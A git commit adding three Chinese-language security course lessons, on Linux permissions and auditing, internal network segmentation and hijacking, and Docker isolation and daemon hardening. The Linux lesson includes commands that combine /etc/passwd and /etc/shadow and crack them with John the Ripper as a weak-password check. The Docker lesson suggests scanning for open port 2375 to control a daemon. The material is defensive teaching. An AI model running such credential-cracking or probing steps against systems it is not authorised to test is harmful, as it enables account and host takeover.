This commit is contained in:
louzefeng
2024-07-09 18:38:56 +00:00
parent 8bafaef34d
commit bf99793fd0
6071 changed files with 1017944 additions and 0 deletions

View File

@@ -0,0 +1,148 @@
<audio id="audio" title="13 | Linux系统安全多人共用服务器如何防止别人干“坏事”" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/35/50/355bda46606065ecaf205b0bc09d3e50.mp3"></audio>
你好,我是何为舟。
从这一讲开始我们讨论Linux系统和应用安全。我们知道在开发一个应用的过程中需要涉及代码、操作系统、网络和数据库等多个方面。所以只是了解代码安全肯定是不够的我们还需要了解常见的基础环境和工具中的安全机制学会通过正确地配置这些安全机制来提升安全保障。
谈到Linux我相信你每天都在使用Linux进行各种开发和运维操作。但是大多数情况下公司不会给每一个员工分配专有的Linux服务器而是多个开发和运维共用一台Linux服务器。那么其他员工在使用Linux服务器的时候会不会对我们自己的数据和进程产生影响呢另外我在Web安全中讲过黑客可以通过很多漏洞控制Linux服务器那我们又该如何避免和控制黑客的破坏呢
## 如何理解Linux中的安全模型
要解决这些安全问题我们首先要了解一个安全模型Linux的安全模型。
我们先来看一下Linux的构成Linux可以分为内核层和用户层。用户层通过内核层提供的操作接口来执行各类任务。
内核层提供的权限划分、进程隔离和内存保护的安全功能,是用户层的安全基础。一旦内核安全被突破(比如黑客能够修改内核逻辑),黑客就可以任意地变更权限、操作进程和获取内存了。这个时候,任何用户层的安全措施都是没有意义的。
既然Linux的内核安全这么重要那我们是不是要在防护上付出大量的精力呢事实上正如我们不需要在开发应用时尤其是使用Java这类相对高层的语言时过多地关心操作系统相关的内容一样我们在考虑Linux安全时也不需要过多地考虑内核的安全更多的是要考虑用户层的安全。所以对于Linux内核层的安全我们只需要按照插件漏洞的防护方法确保使用官方的镜像并保持更新就足够了。
既然,使用最多的是用户层,那我们就来看一下,用户层的操作都有什么。
在Linux中用户层的所有操作都可以抽象为“主体-&gt;请求-&gt;客体”这么一个流程。比如,“打开/etc/passwd”这一操作的主体是实际的用户请求是读客体是/etc/passwd这个文件。
<img src="https://static001.geekbang.org/resource/image/6c/7d/6c581c176186ff38ab931210b7073a7d.jpeg" alt="">
在这个过程中Linux内核安全提供了基于权限的访问控制确保数据不被其他操作获取。Linux用户层则需要确保权限的正确配置这就是我开篇提到的如何保证多人安全地共用服务器的关键也是我们这节课需要关注的重点内容。
## 黄金法则是如何在Linux系统中应用的
现在我们知道了,**Linux系统安全防护的核心是正确配置用户层权限。**那接下来,我们就从[黄金法则](https://time.geekbang.org/column/article/176568)的认证、授权和审计这三个方面来看一下Linux系统是如何进行权限配置的这其中又有哪些值得我们重点关注的安全选项。
### 1.Linux中的认证机制
Linux系统是一个支持多用户的操作系统它通过普通的文本文件来保存和管理用户信息。这其中有两个比较关键的文件**`/etc/passwd``/etc/shadow`。**
我们知道在Linux中`/etc/passwd`是全局可读的,不具备保密性。因此,`/etc/passwd`不会直接存储密码而是用x来进行占位。那实际的用户密码信息就会存储到仅ROOT可读的`/etc/shadow`中。
`/etc/shadow`除了加密后的密码也保存了诸如密码有效天数、失效多少天告警之类的密码管理策略。我们可以通过Chage命令来对密码管理策略进行修改比如通过下面的Chage命令就可以强制Test用户在60天内必须对密码进行修改。通过这样的方式就可以降低密码泄露的可能性了。
```
chage -M 60 test
```
因为认证这个功能是由Linux内核来提供的所以在用户层我们需要关心的安全问题就是弱密码导致的身份信息泄露。为了解决这个问题`/etc/shadow`中,我们可以制定适当的密码策略。除此之外,我们也可以通过[John the Ripper](https://github.com/magnumripper/JohnTheRipper)使用已知的弱密码库来对Linux中的弱密码进行检测。下面的命令就是使用John the Ripper检测弱密码。
```
unshadow /etc/passwd /etc/shadow &gt; mypasswd
john mypasswd
john --show mypassw
```
### 2.Linux中的授权机制
在“黄金法则”中,认证只是第一步,它提供了一个可信的身份标识。有了这个身份标识之后,就需要通过授权来限制用户能够发起的请求了。
在Linux中客体只有文件和目录两种针对这两种类型的客体Linux都定义了读、写和执行这三种权限。你可以通过我总结的这张对比表格看到文件和目录在这三种权限上的区别。
<img src="https://static001.geekbang.org/resource/image/fd/2c/fdea7d4bfebb7e8114ce64f82a32e22c.jpeg" alt="">
除此之外Linux还提供了一些额外的权限标签来进行更细粒度的权限控制。
比如Linux提供了文件属性的概念来对文件设置更多的保护。通过`chattr +i /etc/passwd`可以防止文件被任何用户修改。想要了解更多的文件属性,你可以参考[Wikipedia](https://en.wikipedia.org/wiki/Chattr)。
Linux还提供了“粘滞位”的功能主要用来防止用户随意操作其他用户的文件。比如`chmod +t /tmp`可以阻止删除/tmp目录下其他用户的文件。
这些都是Linux在授权中的自我保护机制那我们能在这个过程中进行怎样的防护呢
前面,我们一直在强调,**Linux系统面临的安全威胁其实就是权限问题。**也就是说,要么就是敏感文件的权限配置不当,导致这些文件可以被额外的用户访问或执行;要么就是应用存在漏洞或密码泄露,导致低权限用户可以获得更高的权限。
**要解决权限问题,我们就要实践最小权限原则。**
我们先来看一个Linux系统安全中最普遍的问题滥用ROOT。很多人在登录Linux系统后第一个命令就是通过su来获取ROOT的Shell环境这样我们就不需要在每次操作的时候通过sudo来临时提升至ROOT权限。
但是这里你需要注意一点在ROOT的Shell环境中启动的所有进程也都具备ROOT权限。如果启动的是一个立即返回的进程如CAT不会有太多问题但如果是一个长期运行的进程就很容易产生权限的滥用。
比如当你以ROOT的身份启动Redis或者MySQL等存储工具时如果这时有其他用户连入Redis或者MySQL那他们也能间接地获取ROOT的权限。在大部分服务器入侵的场景中黑客都是通过这些具备ROOT权限的进程漏洞来实现权限提升的。
因此在运行任何长驻进程时我们都需要谨记“最小权限”原则。也就是说我们可以根据要执行的操作等级配置“最小权限”来启动常驻进程。比如如果只是在Redis和MySQL这样的数据库中进行文件读写操作根本不需要ROOT这种最高等级的权限。
因此“最小权限”原则在Linux系统中的应用是非常重要的。那你可能会问了Linux系统中的操作那么多每个操作都需要自己进行权限配置吗当然不是我们常常会使用一些已知的工具来实现“最小权限”启动长驻进程的功能而你需要做的就是正确地启动或者配置这些工具。
比如说我们可以通过mysqld启动MySQL服务mysqld会将MySQL的进程分配到“mysql”这个用户并在ROOT下建立守护进程。具体的效果如下
```
root 297353 0.0 0.0 115432 1360 ? S Aug12 0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/var/lib/mysql --pid-file=/var/lib/mysql/mysql.pid
mysql 297553 31.3 4.3 11282756 5729572 ? Sl Aug12 22593:40 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/var/lib/mysql --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/var/lib/mysql/mysql.pid --socket=/var/lib/mysql/mysql.sock
```
类似地当启动Nginx时Nginx会将Worker节点以nobody的用户身份来执行。具体的效果如下
```
root 7083 0.0 0.0 61032 5324 ? Ss Aug12 0:01 nginx: master process nginx
nobody 331122 0.0 0.0 90768 31776 ? S 11:44 0:00 nginx: worker process
nobody 331123 0.0 0.0 90768 32720 ? S 11:44 0:00 nginx: worker process
nobody 331124 0.0 0.0 90768 31776 ? S 11:44 0:00 nginx: worker process
```
当然,也有一些工具不提供这类最小权限切换的功能,比如,在直接执行`redis-server`启动Redis的时候就需要我们自己来对用户身份进行切换。那用户身份切换怎么做呢
我们首先来看Nginx的例子在启动Nginx的时候Linux提供了nobody这么一个用户的身份。实际上任何人进入Linux系统首先获得的用户身份就是nobody然后再从nobody进行登录切换到其他正常用户身份上。
因此,**nobody通常拥有整个操作系统中最小的权限。**所以对于不提供最小权限切换功能的工具我们就可以使用nobody的用户身份来进行主动切换了。
在执行`redis-server`启动Redis的时候我们就可以通过以下命令以nobody的身份执行`redis-server了`前提是我们需要对日志和PID等目录进行适当配置确保能够以nobody身份写入
```
su -s /bin/redis-server nobody
```
这样一来我们就能通过“最小权限”原则提升Linux系统授权的安全性了。
### 3.Linux中的审计机制
我们在前面的课程中说过“黄金法则”中的审计主要就是日志记录和分析。那么Linux系统中的日志都有哪些呢在Linux系统中系统的日志信息通常存储在/var/log目录下部分应用程序也会把相关日志记录到这个目录中。系统日志主要分为3类用户登录日志、特殊事件日志和进程日志。
用户登录日志主要是`/var/log/wtmp``/var/run/utmp`,用来保存用户登录相关的信息。用户登录日志本身为二进制文件,我们无法直接通过文本方式查看,但是可以配合`who/users/ac/last/lastlog`这样的命令来获取。
特殊事件日志主要包括`/var/log/secure``/var/log/message`。其中,`/var/log/secure`主要记录认证和授权相关的记录如果有人试图爆破SSH我们就可以从这个日志中观察出来。`/var/log/message`由syslogd来维护syslogd这个守护进程提供了一个记录特殊事件和消息的标准机制其他应用可以通过这个守护进程来报告特殊的事件。
进程日志当通过accton来进行系统进程管理时会生成记录用户执行命令的pacct文件。
默认情况下Linux会通过logrotate对日志执行相应的保留策略比如日志切割和旧日志删除等。通过配置`/etc/logrotate.conf`可以对不同日志的保留策略进行修改。
那如何对日志进行监控呢这里我向你推荐2种常见的日志分析工具ELK和Zabbix你可以利用这些工具来监控Linux的安全日志。也就是说我们可以通过在这些分析平台配置恰当的规则如SSH登录尝试失败3次以上来及时发现黑客的部分入侵尝试迅速产生报警。然后我们就可以针对具体的问题进行人工复查了。
## 总结
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
Linux系统安全可以说是“最小权限”原则的最佳实践平台尤其是当存在多用户共同维护和使用一台服务器的时候正确的配置权限将是一件很有挑战的工作。为此我们必须严格限制ROOT权限的使用。同时为了避免进程漏洞适当地通过iptables进行访问限制也能够起到不错的保护效果。
在Linux系统的自我保护基础之上也有一些安全工具能够为系统提供额外的保护功能如杀毒软件、HIDS等在后续的内容中我们会深入讲解这些工具。
最后,我把这一讲的重点内容梳理了一个脑图。你可以用它来查漏补缺,也可以自己来梳理看看,加深印象。
<img src="https://static001.geekbang.org/resource/image/46/72/46d1a126a68fe253eb8746d84b5d0272.jpg" alt="">
## 思考题
最后给你留一个思考题。
检查一下你的Linux服务器看一下哪些用户具备ROOT权限那些进程具备ROOT权限这些用户和进程真的需要ROOT权限吗我们是否可以利用今天学到的知识对这些ROOT权限进行限制呢
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!

View File

@@ -0,0 +1,120 @@
<audio id="audio" title="14 | 网络安全和别人共用Wi-Fi时你的信息会被窃取吗" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/db/e2/db13039c9c23cd09150c8cf9498041e2.mp3"></audio>
你好,我是何为舟。
你平时使用手机连接无线网络的时候一定看到过这样的安全提示不要连接陌生的Wi-Fi。也一定看过很多这样的报道某先生/女士因为使用了陌生的Wi-Fi信息遭到泄露不仅账号被盗用还造成了经济损失。
看到这些提示和报道之后你就要产生警惕了当你连入一个陌生的Wi-Fi时这个Wi-Fi下连接的其他人很有可能会看到你的信息并且对你发起攻击。
你可能要说了只要我避免连入陌生的Wi-Fi前面说的攻击就基本不会发生了。但是在工作中员工和服务器通常接入的也是同一个网络那员工是不是就可以任意地捕获服务器中的流量呢其他人是不是也能轻易地窃取员工信息呢内网又是怎么保证安全性的呢
## 内网中的“最小权限原则”
我们先来看内网是怎么保证安全性的。前面我们说过在Linux系统中我们可以使用“最小权限原则”来限制黑客的行动能力。而“最小权限原则”在内网中同样适用。为了保证安全性我们要限制黑客进入内网后的权限范围也就是说就算黑客能够进入内网我们也只允许它在一个有限的子网内进行访问而不能任意地访问所有服务。那内网中的“最小权限原则”究竟是怎么实现的呢
在内网中,实现“最小权限原则”的核心在于分区和隔离。接下来,我们就一起来看,在公司内网中,分区和隔离具体是怎么实现的。
### 1.对内网进行水平划分
我们知道连入内网的人和设备具备不同的“身份”和“权限”。比如公司正式员工、外包员工和访客等这些人所使用的内网服务区别很大。因此我们需要依据不同的“身份”来对网络区域进行隔离而这就需要用到VLAN提供的功能了。
那什么是VLAN呢在一般情况下连入同一个交换机的所有设备都在同一个网络中两两之间能够相互访问。为了阻止这些设备相互访问我们可以在交换机上设定在不改变物理连接的情况下通过交换机的控制将这个网络划分为多个不同的子网也就是VLAN Virtual Local Area Network虚拟局域网。简单来说VLAN就是一个交换机创建出来的多个子网。因为隔离的存在不同VLAN的访问请求会被交换机阻止。
这样一来,我们就实现了对不同“身份”的人的网络隔离。
### 2.对内网进行垂直划分
事实上,对不同“身份”的人的网络隔离属于对内网进行水平划分。除此之外,公司也会对内网进行垂直划分。
最简单的,我们会将公司内网整体保护起来,和外网进行隔离,这种隔离就属于垂直划分。在这种隔离之下,内网可以访问外网的资源,外网却不能够直接访问内网的资源。要实现这种隔离,就需要用到路由器了。路由器会将连入的所有内网设备打包在一起。所以,对外网来说,内网变成了一个整体,也就无法访问到某个具体的设备了。
在下图中我简单地展示了一下利用路由器和交换机对内网进行划分的效果通过路由器划分内网和外网通过交换机划分正式员工网络和外包员工网络。实际上你还可以对每一个VLAN按照安全等级进行进一步的垂直和水平划分。
<img src="https://static001.geekbang.org/resource/image/0f/a7/0fd26393177c3de655ad76e68c4bcaa7.jpeg" alt="">
## 有线网络和无线网络安全
现在,你应该知道如何在内网中落实“最小权限原则”了。而网络作为一个数据传输的主要通道,保障其中数据的安全性,也是非常重要的。这其中包括两个关键问题。
- 如何保障通道中的数据不被窃取?这涉及认证和加密的手段。
- 如何保障通道的接收方是可信的?也就是如何避免被“劫持”。
在工作中,我们最常接触的两种网络就是**有线**和**无线网络**,接下来,我就结合前面这两个关键问题,带你探讨一下有线和无线环境中的网络安全。
### 1.无线网络安全
无线网络你应该非常熟悉,我们在实际工作和生活中到处都需要用到无线网络。在无线网中,个人设备是通过射频技术和无线热点进行连接的。射频无法定向接收,因此,数据都是“广播”出去的。也就是说,只要在设备和热点附近,任何人都能接收到无线网络中的数据。
为了保证无线网络数据的安全性,我们主要的防护手段,就是使用目前最安全的无线网络协议[WPA2](https://baike.baidu.com/item/WPA2/4913331?fr=aladdin)。
但是WPA2协议只是用来保护无线网络中数据安全性的。它的连入密钥都是共享的所以不具备严格意义上的认证功能。而公司需要通过认证知道每一个连入内网的设备的归属来追踪每一个员工的操作。那无线网络中的认证是怎么做的呢
一般的操作是对连入的用户实行“**强制门户**”。“强制门户”你应该很熟悉就是当你使用公用密钥连入网络之后还需要你在网页中再次进行认证。比如在连入机场网络后还需要你进行手机号验证。具体的原理就是用户在连入Wi-Fi后路由器会将用户的HTTP请求重定向至认证页面。认证成功后路由器会记录用户的身份和MAC后续路由器就可以根据MAC来识别用户身份了。
<img src="https://static001.geekbang.org/resource/image/38/18/38b36d03bb2d6b90b8a3a5e35695e818.jpeg" alt="">
那“强制门户”在公司内部是怎么应用的呢?一般在连入内网后,员工还需要通过公司邮箱和密码,进行一次额外的验证。这样一来,公司就能够知道连入内网的到底是哪一名员工了。
说完了无线网络中的认证和加密,我们再看一下“劫持”的问题。在无线网络中,“劫持”的主要方式是**伪造热点**。
伪造热点的实现主要依赖的就是现在设备的自动连网功能。简单来说就是只要你的设备曾经连入过某一个热点设备就会记住这个热点的ID和密码下次如果设备再检测到这个热点ID就会尝试自动连接。
而黑客也可以利用自动连网的功能发起攻击。黑客只需要伪造出来一个相同的热点ID就可以诱导用户的设备连入黑客的热点从而“劫持”流量。避免伪造热点的方法也很简单就是对办公网络中的未知热点进行扫描。
所以,总结一下,在无线网的安全中,我们需要关注这三个点:
- 是否使用了安全的协议也就是WPA2
- 是否有认证技术,也就是强制门户;
- 是否有未知的热点出现在办公环境中。
### 2.有线网络安全
区别于无线网络,**有线网络不存在认证和加密的问题**。这个很好理解,因为有线网是通过网线来进行物理接入的。换一句话说,只要运维人员给服务器插上了网线,就说明运维人员授权这台服务器接入内网了。而且,一根网线只能将一台设备连入网络,不存在网线共享。所以,不需要考虑加密的问题。因此,我们在有线网络中,主要考虑的问题就是“劫持”。
所谓“劫持”,其实就是误导服务器将请求发送到黑客的设备上去。在无线网中,服务器实际上是向连接的热点发送请求,因此,我们可以通过伪造热点来进行误导。那在有线网中,服务器又会向哪里发送请求呢?
在网络协议中目标地址主要通过MAC地址和IP地址来确定。MAC地址和IP地址分别是基于[ARP协议](https://baike.baidu.com/item/ARP/609343?fromtitle=ARP%E5%8D%8F%E8%AE%AE&amp;fromid=1742212&amp;fr=aladdin)和[DNS协议](https://baike.baidu.com/item/dns%E5%8D%8F%E8%AE%AE/1860066?fr=aladdin)来进行寻址的。因为ARP和DNS都是早期的网络协议所以安全性较低。因此黑客可以轻易地发出伪造的ARP包和DNS包从而“欺骗”目标设备将数据包发送到黑客的设备上实现流量“劫持”的功能。
为了帮助你理解这个过程我把ARP“劫持”的过程总结成了一张图。从这张图中我们能看到服务器A想要向服务器B发起请求但是黑客通过发送伪造的ARP包误导A说“10.0.0.2的MAC地址是3:3:3:3”。因为ARP没有进行认证所以A会无条件相信黑客的说法。那么当A想要向B发送请求的时候MAC地址会设定成黑客的3:3:3:3所以请求最终就发送到了黑客的服务器上。DNS“劫持”的原理和这个比较类似也是黑客误导服务器让服务器错认黑客的IP为某个域名的IP。
<img src="https://static001.geekbang.org/resource/image/60/52/60a12414c08c62df9fa0ac685df93952.jpeg" alt="">
那该如何避免有线网络中的“劫持”呢有两种方法第一种方法是对网络进行更合理地划分避免黑客进入敏感的内网区域中第二种方法就是在网络中进行定期地检测。为什么要定期进行检测呢这是因为通过伪造ARP和DNS包发起的流量“劫持”发生在内网中往往不需要通过防火墙等网络设备所以难以被检测出来。因此我们需要在网络中进行定期地检测发掘异常的请求路径如某个服务器将请求发送到了未知的设备尽早发现“劫持”行为。
## 如何理解DDoS攻击
最后,我们再来介绍一种常见的内网攻击,**DDoS攻击**Distributed Denial Of Service Attack分布式拒绝服务攻击。DDoS就是黑客由外网向公司服务发起大量的请求从而打满网络带宽让内网无法响应用户的正常请求。那么DDoS是如何产生的呢我们又该如何防护呢
说到这我们先了解一下DoSDenail f Service拒绝服务攻击。知道了DoS攻击DDoS攻击就很好理解了。
DoS攻击主要有两种类型。一种是通过漏洞进行攻击使得服务或设备因为程序报错而宕机。比如针对ICMP协议的“死亡之PING”就是因为旧版本的Windows系统在处理超长的ICMP包时会报错死机。另一种则是通过巨量的垃圾流量挤占网络带宽使得网络设备无法接收或者发送合法的流量。
但是黑客如果直接对目标网络发起DoS攻击很容易就会被溯源出来。所以黑客会通过大量的“肉鸡”被黑客远程控制的机器来向目标网络发起请求隐藏自己的真实地址。这个过程就是DDoS。
这里要补充一点依靠“肉鸡”代理黑客不仅可以增加自己被溯源的难度还可以放大或者说增强攻击的效果。比如当你请求一个网页时你请求的数据实际上只有一个URL但服务器却需要返回给你一整个网页。
近几年比较流行的基于Memcache的DDoS就是黑客向“肉鸡”的Memcache发送一个十几个字节的GET请求通过在请求参数中进行配置黑客可以让Memcache服务器将返回的结果发送到目标的服务器而返回的结果能够达到几百Kb的数据量放大倍数达到数万倍。这也是为什么黑客可以依靠几十个“肉鸡”代理挤占目标网络几十GB的带宽。
DDoS能对内网造成非常严重的影响那我们该如何进行防护呢目前来说DDoS基本是不可防的。因为只要你的应用还在正常地提供服务那就需要接收外网的请求因此没办法直接拒绝黑客向你发起的请求。哪怕你能够识别出这些恶意的请求并且拒绝响应这也只能避免CPU被耗尽而带宽的资源还是会被占用。
所以各类云服务厂商提供的DDoS解决方案基本都是依靠带宽扩容来进行保障的。比如阿里云可能会卖给你一个40G的防DDoS服务。只要DDoS的流量小于40G阿里云就会保障你服务的可用性。一旦超过就会直接关停你的服务避免资源浪费。
## 总结
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
网络在为我们提供了便利的同时也为黑客的攻击提供了一个方便的入口。除了在应用层针对Web漏洞进行攻击黑客也会直接在网络层发起攻击。网络层的攻击以窃取流量为主黑客利用监听、“劫持”等方式窃取用户数据。在无线网中黑客可以通过伪造热点来窃取流量在内网中黑客可以通过ARP和DNS“劫持”等来窃取流量。我们需要通过定期的检测内网来发掘可能的攻击行为。
除此之外黑客还会通过DDoS的方式来破坏公司和应用网络的可用性对正常服务产生影响。从理论上来说DDoS目前不可防我们只能通过扩容带宽来增加网络自身的耐受能力。
好了,我把这一讲的重点内容梳理了一个脑图。你可以用它来查漏补缺,也可以自己来梳理看看,加深印象。
<img src="https://static001.geekbang.org/resource/image/0a/6e/0a1b41d3d05c871fa4f4bfcdc375a06e.jpg" alt="">
## 思考题
最后,给你留一个思考题。
你可以观察一下,你们公司办公网的连入方式,思考一下,通过这种连入方式,公司能定位到你在办公的时候,都请求了哪些网页或者服务吗?
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!

View File

@@ -0,0 +1,184 @@
<audio id="audio" title="15 | Docker安全在虚拟的环境中就不用考虑安全了吗" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/7d/73/7de7d479540dda711f236e81d3692873.mp3"></audio>
你好,我是何为舟。
在[13讲](https://time.geekbang.org/column/article/186777)中我们讲了Linux系统安全。但是当你在和同事讨论Linux系统安全的时候同事表示公司的服务都是通过Docker来进行容器化部署的。开发在操作中并不会接触实际的Linux服务器所以不会去关注Linux安全 。而且因为容器是隔离的就算容器被黑客攻击了也只是容器内部受到影响对宿主的Linux系统和网络都不会产生太大影响。
事实上我知道很多人都有这种想法。但是你在学习了安全专栏之后可以试着思考一下开发使用了Docker就一定安全吗真的可以不用考虑安全问题了吗
以防你对Doker还不是很了解在解决这些问题之前我先来解释一下这节课会涉及的3个概念帮你扫清概念障碍。
- Docker服务Docker所提供的功能以及在宿主机Linux中的Docker进程。
- Docker镜像通过Dockerfile构建出来的Docker镜像。
- Docker容器实际运行的Docker容器通常来说一个Docker镜像会生成多个Docker容器。Docker容器运行于Docker服务之上。
了解了这3个关键概念之后我们今天就从这些概念入手来谈一谈Docker的安全性。
## Docker服务安全
我们首先来看Docker服务的安全性。Docker服务本身需要关注的安全性就是隔离。如果黑客在控制了容器之后能够成功对宿主机产生影响就说明黑客突破了Docker服务的隔离保护也就是我们所说的“Docker逃逸”。
那么Docker服务是如何对容器进行隔离来防止“Docker逃逸”的呢接下来我就介绍一下这3个关键的隔离机制Namespace机制、Capabilities机制和CGroups机制。
第1个是**Namespace机制**。
我们知道Docker之所以广泛流行是因为它提供了一种轻量化的隔离环境也就是容器。
下面我们重点解释一下“轻量化”和“隔离”这两个词。首先是轻量化。怎么理解轻量化呢我们可以对比虚拟机来进行理解。虚拟机是自己创造了一个虚拟内核让这个虚拟内核去和虚拟机的进程进行沟通然后虚拟内核再和真实的Linux内核进行沟通。而Docker提供的容器简化了这个沟通过程让Docker中的进程直接和Linux内核进行沟通。
<img src="https://static001.geekbang.org/resource/image/6b/17/6b2a1d0ff075f7f1cbe4a70d6a211617.jpeg" alt="">
第二个词是隔离。也就是说Docker提供的容器环境是和Linux内核隔离的。想要实现这种隔离就需要用到**Namespace机制**了。所以这里我先给你简单解释一下什么是Namespace机制。
Namespace是Linux提供的一种标签机制Linux内核会对不同Namespace之间的进程做隔离避免不同的进程之间互相产生影响。所以Docker服务会为每一个Docker容器创建一个单独的Namespace空间。 这样一来不同容器之间、容器和系统之间都是不同的Namespace也就实现了隔离。
这种基于Namespace的隔离我一般叫它“伪隔离”。因为通过Namespace进行的隔离并不彻底。为啥这么说呢Docker容器在隔离的环境中仍然需要使用一些底层的Linux进程和设备支持。比如你在Docker容器中仍然需要使用鼠标、键盘等输入输出设备那么容器就必须挂载Linux系统中的/sys来获得对应的驱动和配置信息。也就是说你在Docker中看到的/sys目录实际就是Linux系统中的/sys目录。类似地还有一些没有被Namespace隔离开的目录和模块包括以下这些内容
- 部分的进程目录/proc/…
- 内存映像/dev/mem
- 系统设备/dev/sd*
- Linux内核模块
换一句话说因为容器和宿主机需要共同使用一些服务比如容器和宿主机使用的是同一个鼠标所以上面的这些目录和模块对于容器和宿主机来说其实是共享的。从理论上来说如果你在Docker容器中修改了这些目录那么宿主机当中也会同步相应的修改结果。
第2个**Capabilities机制**。
我们刚刚说了Namespace的伪隔离机制让容器和宿主机共享部分目录。那么这是不是也意味着Docker容器可以通过这些目录来影响宿主机从而实现“Docker逃逸”呢为了避免这种情况Docker服务使用了Capabilities机制来限制容器的操作。
Capabilities提供了更细粒度的授权机制它定义了主体能够进行的某一类操作。比如一个Web服务需要绑定80端口但80端口的绑定是需要ROOT权限的。为了防止ROOT权限滥用Docker会通过Capabilities给予这个Web服务net_bind_service这个权限允许绑定到小于1024的端口。同样地Docker对容器的ROOT也加了很多默认的限制比如
- 拒绝所有的挂载操作;
- 拒绝部分文件的操作,比如修改文件所有者;
- 拒绝内核模块加载。
这里有一点需要你注意Capabilities对容器可进行操作的限制程度很难把控。这是因为过松会导致Docker容器影响宿主机系统让Docker隔离失效过严会让容器和容器内的服务功能受限无法正常运行。
所以在默认情况下Docker会采用白名单机制白名单列表你可以在Docker源码中查看进行限制即只允许Docker容器拥有几个默认的能力。那有了白名单限制即使黑客成功拿到了容器中的ROOT权限能够造成的影响也相对较小。所以我们常说“Docker逃逸”是一件不容易的事情。
第3个是**CGroups机制**。
好了现在你应该知道Docker服务本身是如何防止“Docker逃逸”的了。作为一个容器Docker显然不能过多地占用宿主机资源不然对宿主机和自身的可用性都会产生影响。那Docker是如何实现资源限制的呢
Docker服务可以利用CGroups机制来实现对容器中内存、CPU和IO等的限制。比如通过下面的命令我们就可以限制Docker容器只使用2个CPU和100MB的内存来运行了。
```
docker run -it --cpus=2 --memory=&quot;100m&quot; ubuntu:latest /bin/bash
```
所以当一个宿主机中运行了多个Docker容器的时候我们可以通过CGroups给每一个容器弹性地分配CPU资源。同样地这个限制既不能过松过松会导致某一个Docker容器耗尽宿主机资源也不能过严过严会使得容器内的服务得不到足够的资源支持。这都需要我们自己经过慎重考量来进行配置没有默认的安全机制可以辅助我们。
现在你应该已经了解Docker服务中的3个主要机制了。这里我把这3个主要机制的特点总结成了一张表格帮助你加深理解。
<img src="https://static001.geekbang.org/resource/image/70/6b/70dbe21875f958841c62213e76ed6e6b.jpeg" alt="">
## Docker守护进程
想要运行Docker镜像就必须先启动Docker的Daemon守护进程。而启动这个守护进程需要ROOT权限。因此守护进程本身如果出现漏洞就会给黑客提供一个权限提升的入口。那通过这个守护进程黑客能进行哪些操作呢
首先作为守护进程Daemon具备操控Docker容器的全部权限。这也就意味着黑客可以任意地上线和下线容器、运行黑客自己的镜像、篡改已有镜像的配置等。这么说可能不够直观我来详细解释一下。黑客通过守护进程可以将宿主机的根目录共享到镜像中这样一来镜像就可以对宿主机的目录进行任意的修改了。另外除了影响正常的线上容器黑客还能够通过简单的docker exec命令获取容器环境中的Shell从而执行任意命令了 。
那么黑客怎么才能控制Daemon守护进程呢最简单的方法当然是直接进入宿主机通过Docker命令进行交互。但如果黑客已经进入宿主机还去操控容器就是多此一举了。所以黑客主要是通过远程API来对Docker守护进程发起攻击。
守护进程提供的API接口是为了方便用户去做一些自动化的工具来操控Docker容器。而在默认情况下这个API接口不需要进行认证。你可以尝试探测一下你的公司内外网中是否存在开放的2375端口守护进程API默认监听的端口。如果存在的话那么你基本上就能够控制这台服务器的Docker守护进程了。
为了避免这种无认证的情况发生Docker提供了证书的方式来进行认证。开启API接口的命令如下所示
```
dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=0.0.0.0:2376
```
通过以上命令我们就能够在宿主机开启远程API接口。在客户端中只需要提供相应的证书信息就能够完成经过认证的API接口调用了。
```
curl https://127.0.0.1:2376/images/json --cert cert.pem --key key.pem --cacert ca.pem
```
那通过这样的配置我们就能解决了API接口的认证问题也就提升了Docker守护进程的安全性。
## Docker镜像安全
了解了Docker守护进程的安全风险和防护方法之后我们再来看一下Docker镜像的安全。
对于Docker镜像来说它本身就是一个模拟的操作系统自然也会存在操作系统中的各类安全威胁和漏洞。但是由于一个Docker镜像一般只会运行某一种服务也就相当于一个操作系统中只有一个用户。因此Docker镜像面临的安全威胁也会小很多。
接下来我就为你详细讲解两种保证Docker镜像安全的方式分别是“使用最精简的镜像”和“最小权限原则”。
### 使用最精简的镜像
前面我们讲了Docker镜像的概念我们知道Docker镜像是通过Dockerfile来构建的。而Dockerfile构建的第一句是FROM ***。以Node.js的环境为例你的基础镜像可能是node那么Dockerfile的第一行应该是FROM node。
```
FROM node
COPY . ./
EXPOSE 8080
CMD [“node”, “index.js”]
```
这个基础的node镜像实际包含了一个完整的操作系统但是在实际应用中有大部分的系统功能我们是用不到的。而这些用不到的系统功能却正好为黑客提供了可乘之机。
Snyk在2019年的[Docker漏洞统计报告](https://snyk.io/blog/top-ten-most-popular-docker-images-each-contain-at-least-30-vulnerabilities/)称最热门的10个Docker基础镜像包含的已知系统漏洞最少的有30个最多的有580个。
<img src="https://static001.geekbang.org/resource/image/58/a7/58e23d540b2481262d17d40395f8dca7.jpeg" alt="">
这是非常惊人的。通过一句简单的FROM node就能让你的Docker镜像中引入580个系统漏洞。那我们该如何避免引入漏洞呢这个时候我们就需要使用精简版的基础镜像了。一般来说精简版的Docker镜像标签都会带有slim或者alpine。
比如说如果你采用node:10-slim那么漏洞数会降低到71个。如果使用node:10-alpine那么已知的漏洞数会降为0。之所以会发生这种现象是因为使用精简版的基础镜像可以去除大部分无用的系统功能和依赖库所以存在于这些功能中的漏洞自然也就被剔除了。
因此对于Docker来说通过使用精简的基础镜像去除一些无用的系统功能既能够降低最终镜像的体积又能够降低安全风险何乐而不为呢
### Docker中的最小权限原则
除此之外我们在Linux操作系统中提到的最小权限原则在Docker镜像中同样适用。
